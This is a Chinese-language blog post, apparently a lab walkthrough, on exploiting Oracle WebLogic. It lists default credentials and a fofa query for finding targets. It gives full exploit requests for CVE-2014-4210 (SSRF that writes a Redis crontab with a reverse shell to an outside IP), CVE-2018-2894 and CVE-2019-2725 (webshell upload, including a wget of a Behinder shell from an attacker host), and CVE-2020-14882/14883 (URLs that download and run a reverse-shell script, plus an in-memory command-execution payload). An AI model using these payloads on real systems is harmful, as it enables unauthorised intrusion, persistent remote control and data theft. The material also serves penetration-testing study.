01.Weblogic漏洞
本文最后更新于520 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、WebLogic简介

WebLogic Server是美国甲骨文( Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,确切的说是一个基于 JavaEE架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部署 和管理大型分布式Web应用、网络应用和数据库应用的 Java应用服务器。将 Java的动态功能和 Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

可以说是应用服务器

二、Weblogic特征

默认端口:7001
Web界面:Error 404 — Not Found
控制后台:http://ip:7001/console

QQ_1736563731199.png

三、Weblogic历史漏洞

漏洞主要影响版本:

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.1
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3
  • Weblogic 14.1.1.0
漏洞类型 CVE编号
SSRF CVE-2014-4210
任意文件上传 CVE-2018-2894
XMLDecoder反序列化 CVE-2017-3506
CVE-2017-10271
CVE-2019-2725
CVE-2019-2729
Java反序列化 CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893
CVE-2020-2890
CVE-2020-2555
CVE-2020-14645
CVE-2020-14756
CVE-2021-2109
弱口令 Weblogic
Oracle@123

四、Weblogic历史漏洞发现

1.获取资产

  • shodan、fofa、zoomeye等
fofa:app="BEA-WebLogic-Server" && country!="CN" 
  • 默认端口:7001

2.批量扫描脚本

Pasted image 20250111215443.png

五、Weblogic历史漏洞利用

1.WeakPassword

1)Weblogic弱口令
访问路径:/console
账号:weblogic
密码:Oracle@123

Weblogic 默认口令:

system/password
system/Passw0rd
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
2)jar命令打包war包

jar 命令是 Java 提供的一个用于创建 Java Archive (JAR) 文件的工具。
在 Java Web 应用开发中

  • JAR 文件通常用于打包类文件、资源文件、配置文件等,通常用于库文件或独立应用程序。
  • WAR文件用于打包 Java Web 应用程序,包含 Servlet、JSP、HTML、CSS、JavaScript 等文件,用于分发和部署 Java Web 应用程序。需要部署到支持 Java EE 的应用服务器(如 Tomcat、WebLogic)中运行。
jar -cvf cmd.war cmd.jsp
3)上传war包
  1. 登录后台,选择部署,点击安装,
    QQ_1736583704705.png

  2. 点击上载文件
    Pasted image 20250111162312.png

  3. 进入如下页面,选择文件,上传war包
    Pasted image 20250111162727.png

  4. 选择 下一步
    Pasted image 20250111162830.png

  5. 选择下一步,下一步,选择完成,war包已经部署
    Pasted image 20250111163108.png

Pasted image 20250111163257.png

4)访问WebShell

weblogic会把war包解压到war包名称的目录下

  • 访问如下 url 即可getshell:
http://daed406793eb.target.yijinglab.com/cmd/cmd.jsp

Pasted image 20250111163706.png

注意:这里的 cmd.jsp文件只是用于接收命令并执行,无法直接通过 WebShell管理工具连接

  • 蚁剑连接 Webshell
    使用 jsp4ant.jsp 脚本文件打包生成war包,然后按照上述步骤上传部署,即可使用AntSword蚁剑连接 Webshell地址: http://ffe0bdb18d9e.target.yijinglab.com/jsp4ant/jsp4ant.jsp
    连接密码:ant
    Pasted image 20250111183108.png

2.CVE-2014-4210

1)漏洞简介

Weblogic 中存在一个服务器端请求伪造(SSRF)漏洞 ,SSRF 允许攻击者通过服务器向任意服务器发送 请求,这可能被用来攻击内部网络中的服务,比如 Redis、Fastcgi 等。
漏洞产生于 /uddiexplorer/SearchPublicRegistries.jsp 页面中

Pasted image 20250111203538.png

2)漏洞测试
(1)打开BurpSuite抓包,按如下方式操作并抓包

Pasted image 20250111205319.png

(2)抓取到如下请求数据包

Pasted image 20250111205426.png

可以发现该数据包会向www.3.ibn.com发送请求,这就导致会发生SSRF漏洞

(3)进行SSRF漏洞测试

将请求网站改为127.0.0.1:7001
Pasted image 20250111205836.png

因为目标是Weblogic服务,让Weblogic像本地主机的7001端口发送请求,也就相当于是直接访问 10.34.126.129:7001,那么本身就是会返回 404 Not found,那么说明这里是存在SSRF漏洞的

3)内网主机存活探测
  1. 随机访问一个端口则会显示 could not connect :
    Pasted image 20250111212043.png

  2. 一个非http的协议则会返回did not have a valid SOAP
    Pasted image 20250111211300.png

  3. 不存活的主机就是 No route to host

    Pasted image 20250111214057.png

    不存在ip为10.34.126.129的主机

内网存活探测脚本
Pasted image 20250111220003.png

4)SSRF攻击内网Redis
  • 构造payload写定时任务
http://172.28.0.2:6379/test

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/124.71.45.28/1234 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa
  1. http://172.28.0.2:6379/test: 172.28.0.2:6379为开启redis服务的内网IP

  2. set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c ‘bash -i >& /dev/tcp/124.71.45.28/1234 0>&1’\n\n\n\n":表示在任意时间以root用户执行反弹shell

  3. config set dir /etc/:/etc/ 目录下包含许多重要的系统配置文件,通过将恶意的 crontab 文件写入 /etc/ 目录下,攻击者可以更好地隐藏或伪装成系统配置的修改,从而达到持久化控制服务器的目的。

  4. config set dbfilename crontab:Crontab文件用于设置周期性被执行的任务,即定时任务。在Linux系统中,通过编辑crontab文件,可以安排命令或者脚本在特定的时间、日期或者间隔周期自动执行。

  • URL编码
http%3A//172.28.0.2%3A6379/test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/124.71.45.28/1234%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20/etc/%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A%0Aaaa
  • 构造请求发送
    Pasted image 20250111230506.png

  • VPS监听端口,成功得到shell

nc -lnvp 1234

3.CVE-2018-2894

WebLogic未授权任意文件上传
在Weblogic Web Service Test Page中存在一处任意文件上传漏洞,利用该漏洞,可以上传任意 jsp 文件,进而获取服务器权限。
Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。

1)影响范围
  • 10.3.6.0
  • 12.1.3.0
  • 12.2.1.2
  • 12.2.1.3
2)影响页面

该漏洞的影响模块为web服务测试页,在默认情况下不启用。

  • /ws_utc/config.do
  • /ws_utc/begin.do
    Pasted image 20250112105036.png
3)漏洞复现
(1)访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击提交,将目录设置为 ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

(2)点击安全,添加,在Keystore文件处,上传Webshell,提交,在响应中会返回时间戳:

Pasted image 20250112110632.png

(3)访问Webshell
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

http://4cc59beaa896.target.yijinglab.com/ws_utc/css/config/keystore/1718784802929_cmd.jsp

Pasted image 20250112111036.png

4)漏洞利用
  • 漏洞利用脚本
python CVE-2018-2894.py -t http://4cc59beaa896.target.yijinglab.com

Pasted image 20250112112419.png

Pasted image 20250112112652.png

默认是冰蝎3 behinder 默认的 JSP webshell
连接密码:rebeyond

4.CVE-2019-2725

由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 求,利用该漏洞获取服务器权限,实现远程代码执行

1)漏洞描述

Weblogic反序列化远程代码执行漏洞:

  • CNVD-C-2019-48814
  • CVE-2019-2725 HTTP
    由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意HTTP请求,利用该漏洞获取服务器权限,实现远程代码执行。
2)影响版本
  • Oracle WebLogic Server 10.*
  • Oracle WebLogic Server 12.1.3
3)影响组件
  • bea_wls9_async_response.war
  • wsat.war
4)漏洞判断

判断不安全组件是否开启
通过访问路径 /_async/AsyncResponseService 判断对应组件是否开启
Pasted image 20250112162406.pngwls9_async_response.war包中的类由于使用注解方法调用了Weblogic原生处理Web服务的类,因此会 受该漏洞影响

5)漏洞利用
  • 漏洞利用脚本
    利用漏洞执行命令
python CVE-2019-2725.py 10.3.6 http://888b05b70edd.target.yijinglab.com/ whoami

Pasted image 20250112163355.png

利用漏洞上传webshell

python CVE-2019-2725.py 10.3.6 http://888b05b70edd.target.yijinglab.com/

Pasted image 20250112163317.png

http://72262c7cbbcc.target.yijinglab.com/bea_wls_internal/demo.jsp?pwd=admin&cmd=whoami

Pasted image 20250112163643.png

  • shell上传路径
# linux
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war

# windows
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war
  • 利用命令执行写冰蝎Webshell
python -m http.server

Pasted image 20250112172558.png

http://72262c7cbbcc.target.yijinglab.com/bea_wls_internal/demo.jsp?pwd=admin&cmd=wget http://124.71.45.28:8000/bx3.jsp -O /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bx.jsp

Pasted image 20250112172529.png

冰蝎连接webshell:

Webshell地址:http://72262c7cbbcc.target.yijinglab.com/bea_wls_internal/bx.jsp
连接密码:rebeyond

5.CVE-2020-14882

1)漏洞描述

Weblogic 管理控制台未授权远程命令执行漏洞
CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
使用这两个漏洞组成的利用链,可通过一个GET请求在远程 Weblogic服务器上以未授权的任意用户身份执行命令

2)影响范围

WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.3
WebLogic 12.2.1.4
WebLogic 14.1.1.0

3)漏洞复现
(1)CVE-2020-14882
  • 判断是否存在CVE-2020-14882未授权访问漏洞
    %252e%252e%252f进行双重编码–> ../
http://14ab0d0ff5bf.target.yijinglab.com/console/css/%252e%252e%252fconsole.portal

QQ_1736675760203.png

(2)CVE-2020-14883

允许后台任意用户通过HTTP协议执行任意命令
这个漏洞的利用方式有两种:

  • 通过 com.tangosol.coherence.mvel2.sh.ShellSession
  1. 执行命令
http://16069f24c987.target.yijinglab.com/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%2028i3.callback.red');")

Pasted image 20250112181900.png

这个利用方法只能在 Weblogic 12.2.1以上版本利用,因为 10.3.6并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类

  1. 反弹shell
    创建shell.sh文件
echo "/bin/bash -i >& /dev/tcp/124.71.45.28/2233 0>&1" > shell.sh

开启http服务

python -m http.server

Pasted image 20250112192943.png

发送http请求在vps上下载反弹shell

http://16069f24c987.target.yijinglab.com/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20http://120.79.150.243:8000/shell.sh%20-o%20/tmp/shell.sh');")

QQ_1736681530844.png

执行吗命令,将反弹shell反弹到vps上

http://16069f24c987.target.yijinglab.com/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('bash%20/tmp/shell.sh');")

QQ_1736681645625.png

成功得到反弹shell
QQ_1736681728885.png

  1. 命令回显
    请求URI:
/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String%5B%5D%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String%5B%5D%7B%22cmd.exe%22,%20%22/c%22,%20cmd%7D%20:%20new%20String%5B%5D%7B%22/bin/sh%22,%20%22-c%22,%20cmd%7D;if(cmd%20!=%20null%20)%7B%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22%255C%255CA%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();%7D%20currentThread.interrupt();')

添加cmd请求头

cmd: whoami

Pasted image 20250112195011.png

  • 通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
  1. [windows] WebLogic Server 版本: 10.3.6.0
    cmd-calc.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>cmd</value>
            <value>/c</value>
            <value><![CDATA[calc.exe]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

GET方法:

http://192.168.78.105:7001/console/..%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://139.155.49.43:8000/cmd.xml")

POST方法:

url:
http://192.168.78.105:7001/console/css/%252e%252e%252fconsole.portal

body:
_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://139.155.49.43:8000/cmd.xml")

此方法要用到cs,只需了解即可

详细信息可在原件中查看

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇